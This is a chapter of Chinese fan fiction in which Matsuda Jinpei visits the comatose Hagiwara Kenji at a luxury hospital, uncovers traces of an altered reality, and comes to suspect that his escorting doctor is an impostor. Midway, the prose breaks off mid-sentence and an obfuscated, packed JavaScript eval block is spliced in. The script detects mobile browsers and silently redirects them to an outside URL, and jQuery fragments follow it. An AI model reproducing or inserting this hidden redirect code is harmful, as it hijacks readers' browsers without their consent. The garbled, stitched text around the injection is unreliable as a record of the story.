不太健全的游戏系统已经指望不上，所以松田阵平在从警局出来之前，先以他在爆.炸.物处理班的前上司的名义去查了萩原研二的档案和四年前爆炸案的记录。
在警局的档案里，四年前炸弹犯引爆炸弹时，萩原研二可能是因为恰好正在接他的电话而走到了消防楼梯的边缘，被爆炸冲击撞下楼梯，重伤昏迷。
之后爆炸引起大火，大火灼烧生出浓烟，萩原研二在浓烟中昏迷窒息，大脑长时间缺氧成为了植物人。
不是什么好消息，可又实在太好了。
所以松田阵平根本没有管短信上的预约时间，提前两个小时直接从警视厅到了涩谷。
如今站在明立流国际医院的大门口，看见内部修剪整齐的草坪和雅致的花园，他的社会常识和智商终于联袂上线。
松田阵平拿出手机，尝试着翻了下通讯录，果真在其中找到了一个备注为城野医生的联系人。
他对城野医生毫无印象，更别说存过电话。但这个号码就和那条预约短信一样，静静躺在他的手机里，仿佛从一开始就在那。
松田阵平心中生出微妙的感觉，但还是拨通了城野医生的电话。
电话响了几声之后才被接通，一个稍显含糊暗哑的男性声音传出：
“……松田先生吗？”
听完松田阵平想要调整预约时间提前探望萩原研二，并且人已经在医院门口的消息后，电话中的城野医生一阵沉默。
“不方便？”松田阵平疑惑，“我只是探望病人，又不是看病，自己过去就可以。”
“不不，您误会了，您什么时候过来都行。”城野医生的声音终于清晰起来，“请您在大厅稍等，我马上过去。”
松田阵平挂断电话，进入医院大门，穿过铺着石砖的宽阔道路，沿着指示牌来到一栋边角圆润颇具设计感的大楼前。
他穿过玻璃门进入大厅，踩在米白色的瓷砖上，清淡香气的幽静暖意立刻扑面而来。
往来的护士穿着浅蓝色的护士服，偶尔有一两个穿着毛呢大衣或西装的男女身影从走廊边经过，或停在大厅一角。
松田阵平看过去，发现那边似乎是临时休息区，杂志报刊、咖啡机，饮水机应有尽有。沙发被放置这些的原木色置物架以及绿植巧妙地分割成了几部分，能轻微遮挡视线，但是实际留出的宽敞道路又足以让轮椅通过。
很体贴，很精致，也……看起来很贵。
被护士礼貌地引到休息区等候的松田阵平坐在过分舒适的沙发上，生出不妙的预感。
他之前没听说过明立流国际医院，这很正常，毕竟他自幼练拳击，身体强健，从来没生过让同街区的诊所为难的病。但他又不是没去过中大型医院或者是疗养机构，没有哪家奢侈到连休息区的饮水机咖啡机都放几十万日元的高端款……不，在医院大厅放一个这样休息区就已经很离谱了。
等待城野医生的时间，松田阵平先快速搜索了一下明立流国际医院。
相关的信息很多，总结下来就是超一流的医疗水平、超一流的医疗护理，和超贵的费用。
他粗略一查，就看到到了许多某某政治家，某某企业家曾来这边治疗的报道。
……警视厅的抚恤金不可能支撑到这种地步，就算是修改现实，也应该有逻辑才对。
松田阵平琢磨了几秒，果断地把手机检查了一遍，没放过任何一封短信任何一封邮件，连相册里的照片、通讯录里的联系人、网络搜索记录和每张银行卡的都仔仔细细地核对，其谨慎和严格程度如同对待嫌疑犯的手机。
成果斐然。
松田阵平大致分析出了来龙去脉。
萩原研二自四年前昏迷后，先被临时安排进和警视厅有合作的医院，但是一连几个月都没有醒转的迹象，时间越久，苏醒的可能性越渺茫。
按正常发展，接下来应该考虑的是继续留在医院还是回到萩原家。
但是那段时间明立流国际医院恰好有一个关于植物人促醒方向的课题研究，需要招募患者，而且全部医疗费用均由医院承担。
有医院的名誉声望作保，萩原研二被转入了这家高级私立医院。
本来就住在东京的“他”平均每个月都来一两次明立流国际医院，在神奈川居住的萩原父母和千速姐也经常过来。
从表面上看，完全是一个幸运的巧合。而从修改现实的角度，既保证萩原研二成为植物人后稳定的身体状况，又剩下了大笔开销。
哪里都好……就是松田阵平本人有种和世界脱节的感觉。
他努力压下那种现实和记忆之间冲突的错位感，继续审查手机里的蛛丝马迹，却发现了新的问题。
他的邮箱里每个月一号会收到两封邮件。
一封来自“城野医生”，里面有上个月萩原研二每日身体数据、采用的医疗措施、检查项目，以及接下来一个月的护理方案医疗方案等等。
另一封来自萩原千速，她是直接转发的城野医
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760881|157731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生发给她的邮件，内容和城野医生发的基本一致。
为什么？千速姐不知道他也能收到城野医生的邮件？
松田阵平的思索被右侧走廊中传出的脚步声打断。
“松田先生。”
穿着白大褂的男人匆匆走来，约莫三十来岁，身姿挺拔，声音沉稳平和：
“不好意思，让您久等了。”
“没有。”
松田阵平抬头扫了一眼，心中莫名生出几分异样。但他现在一心想快点见到萩原研二，确认白大褂的铭牌上是“城野”两字，就起身跟着离开主楼，前往康复科的住院区。
两人走在林荫下的石砖路上，这位看上去很专业的城野医生主动开口：
“是出了什么事吗？”
松田阵平心不在焉，“为什么这么说？”
“您看起来气色不太好，有些疲惫，需要注意休息……”
“是吗？”松田阵平敷衍。
“也不全是。”城野医生的话却突然转了个弯。
松田阵平的注意力被吸引过来，领医生在他的注视下开口，
“其实是我之前只见过您迟到，还是第一次看到您提前过来，有些惊讶。”
这还真是松田阵平没想到的理由。
转眼间已经快走到住院部1号楼的门口，他便随意找个借口，
“等下有点事，只能提前过来。”
“明白了。”城野医生抬手刷卡，随意地问，“您还有朋友稍后过来吗？我提前通知门卫那边。”
松田阵平一怔。
看短信的时候他就发现，班长似乎上个月刚来过医院一次，本应该会每年11月6日和他、班长一起拜祭hagi的诸伏景光、降谷零则是完全查无此人。
毕竟萩原研二活着，他们不可能还约每年的今天来医院这种人多眼杂的地方看他。那还会有谁？
松田阵平才问说出口，城野医生拿着身份卡的手骤然悬停在半空中。
他茫然间，穿着白大褂的男人侧过身，目光不复刚刚的温和，只剩下一片幽深：
“那你刚刚为什么提到预约，暗示我将萩原研二转到外面的病区？”
深秋的风悄然又起，摇动着高大的扁柏，云片般的枝叶在阴影中簌簌。
冷不丁地，松田阵平先意识到刚刚初见时那几分异样源于何处。
现在已经是下午，但这位城野医生身上的白大褂，太新、太整齐了，就像是刚刚穿上似的。